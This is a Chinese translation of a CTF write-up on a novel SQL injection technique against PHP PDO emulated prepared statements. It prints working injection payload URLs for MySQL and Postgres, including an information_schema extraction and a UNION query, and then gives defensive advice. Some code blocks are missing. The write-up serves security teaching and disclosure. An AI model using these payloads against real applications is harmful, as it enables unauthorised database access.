PDO预处理语句中的新型SQL注入技术
原文: Novel SQL Injection Technique in PDO Prepared Statements
作者: hashkitten (Searchlight Cyber)
来源: DownUnderCTF 2024
概述
在第六届 DownUnderCTF 夺旗比赛中,作者贡献了一道名为 ‘legendary’ 的高难度 Web 挑战题,仅有一支队伍成功解出。这道题目的核心是利用一种鲜为人知的技术,在看似不可能的情况下实现 SQL 注入——所有内容都被正确转义,并且使用了 PHP PDO 预处理语句。
PHP PDO 预处理语句基础
PDO 是 PHP 连接数据库最常用的库之一,使用方式如下:
1 |
|
访问上述服务并设置 name 参数为 apple,可能会得到响应 1 : apple : FRU-APL。
PDO 的安全机制
你可能会惊讶地发现,PDO 实现安全的方式并非如你所想。虽然它被称为 prepare,看起来像是预处理语句,但 PDO 在 MySQL 中默认模拟所有预处理语句。
除非你显式禁用 PDO::ATTR_EMULATE_PREPARES,否则 PDO 实际上会在查询到达数据库之前自行完成所有转义工作。
模拟预处理语句的问题
尝试模拟预处理语句给 PDO 带来了一个问题。你可能会认为模拟预处理语句的底层伪代码如下:
1 | for (char in stmt) { |
但这很快会遇到问题。如果语句如下:
1 | SELECT * FROM users where name = ? /* TODO: refactor this ? */ |
上述简单逻辑会看到注释中的问号并尝试将其作为绑定参数处理,这显然不是我们想要的。
因此,PDO 做了一件可能令人惊讶的事情:它实现了自己的 SQL 解析器,用于解析字符串、表名和注释,以避免意外绑定其中的问号或冒号。
安全隐患
这种行为的安全隐患很明显——如果我们能欺骗 PDO 解析器将我们的输入错误地解析为绑定参数,我们就可以在原本不可能的情况下获得 SQL 注入。
不可能的 SQL 注入
常见场景:列名和表名
用户输入出现在 prepare 语句中的一个常见场景是列名和表名。这些无法被绑定,因此开发人员被迫将它们直接插入查询中。考虑以下代码:
1 |
|
这段代码允许用户选择返回的列。col 参数被反引号包围表示列名,列名中的反引号也被转义以防止注入(许多基于 PDO 构建的 ORM 都实现了类似的逻辑)。
你可能会考虑使用反斜杠来转义列名,但这不起作用——MySQL 不会解释列名中的反斜杠。看起来这段代码是安全的。
PDO 解析器分析
然而,我们的代码正被 PDO 解析器解析。让我们看看解析器的实现:
1 | int pdo_mysql_scanner(pdo_scanner_t *s) |
我们特别关注这一行:
1 | ([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); } |
其中 ANYNOEOF 定义为 [\001-\377]。那么如果我们传入一个空字节会发生什么?
利用空字节
测试 1:传入空字节
1 | http://localhost:8000/?name=x&col=%00 |
结果:语法错误,但没有实现真正的注入。
测试 2:传入问号加空字节
1 | http://localhost:8000/?name=x&col=?%00 |
结果:
1 | Fatal error: Uncaught PDOException: SQLSTATE[HY093]: |
成功!我们注入了一个被 PDO 解释的绑定参数!
原理解释
考虑生成的语句(用 \0 表示空字节):
1 | SELECT `?\0` FROM fruit WHERE name = ? |
PDO 解析器首先尝试将 ?\0 解析为列名/表名。当它到达空字节时,由于解析规则会回溯。因此反引号会回退到 SPECIALS 情况,被 SKIP_ONE(PDO_PARSER_TEXT) 忽略。
因此 PDO 解析器将第一个 ? 视为绑定参数。然后解析器继续将 name = ? 视为第二个绑定参数,并抛出错误,因为我们只传递了一个参数,而解析器期望两个。
完整利用过程
步骤 1:添加注释
1 | http://localhost:8000/?name=x&col=?%23%00 |
生成的查询:
1 | SELECT `?#\0` FROM fruit WHERE name = ? |
PDO 将问号替换为 name 参数:
1 | SELECT `'x'#\0` FROM fruit WHERE name = ? |
步骤 2:逃逸列名
1 | http://localhost:8000/?name=x`%23&col=?%23%00 |
步骤 3:解决空字节问题
空字节不能出现在 MySQL 注释中。解决方案:用分号结束语句:
1 | http://localhost:8000/?name=x`;%23&col=?%23%00 |
步骤 4:构造子查询
最终 payload:
1 | http://localhost:8000/?name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23&col=\?%23%00 |
注入后的 PDO 语句:
1 | SELECT `\?#\0` FROM fruit WHERE name = ? |
预处理后变成:
1 | SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM fruit WHERE name = ? |
成功获取数据库信息!
其他数据库引擎
| 数据库 | 默认状态 | 说明 |
|---|---|---|
| MySQL | 默认易受攻击 | 除非显式设置 PDO::ATTR_EMULATE_PREPARES 为 false |
| PostgreSQL | 默认不易受攻击 | 但如果开启模拟预处理则易受攻击,使用 -- 注释代替 # |
| SQLite | 默认模拟但不易受攻击 | 空字节会导致标记化错误 |
其他易受攻击场景
这种技术不限于表名和列名。如果你能在 PDO 查询的任何部分注入空字节,都可以利用相同的思路。
1 |
|
开发人员编写了自己的转义逻辑。看起来不安全但也不是立即可利用的。只有当你测试 payload ?%00 时,安全漏洞才会显现:
1 | http://localhost:8000/mysql2.php?sku=?%00&name=apple |
旧版 PHP 更加脆弱
PHP 8.4 实际上比旧版本更能抵御此类攻击。PHP 8.4 是第一个为每种 SQL 方言使用独立 SQL 扫描解析器的版本。
在 PHP 8.3 及更早版本中,PDO 无论 SQL 方言如何都使用单一解析器,以 MySQL 行为为模型:
1 | static int scan(Scanner *s) |
旧版解析器的问题
问题 1:不处理反引号
在 8.3 及更早版本中,如果你能在表名或列名中注入 : 或 ?,就可以实现注入,甚至不需要空字节。
问题 2:假设所有字符串都使用反斜杠转义
即使在不支持反斜杠转义字符串的引擎(如 Postgres)中也是如此。
Postgres 注入示例
1 |
|
这段代码看起来完全安全:一个参数被绑定,另一个使用内置转义函数。怎么可能有漏洞?
利用 payload:
1 | http://localhost:8000/postgres2.php?sku=\%27?--&name=UNION%20SELECT%201337,chr(33),1337,chr(33)-- |
结果:
1 | 1337 : ! : 1337 : ! |
原理:PDO 解析器错误地认为反斜杠转义了单引号,因此解析器看到字符串字面量 '\',后面跟着一个在字符串字面量之外的 ?。
总结
给开发者的建议
- 禁用
PDO::ATTR_EMULATE_PREPARES(如果可能) - 如果无法禁用,确保使用最新版本(PHP 8.4)且不允许查询中出现空字节
给安全研究者的建议
- 对任何使用查询模拟(MySQL 默认开启)的情况保持怀疑
- 仔细检查任何混合用户数据和 prepare 接口的查询,即使一切看起来都正确转义
- 使用
\’?和?%00等 payload 来探测可能被忽视的 SQL 注入场景


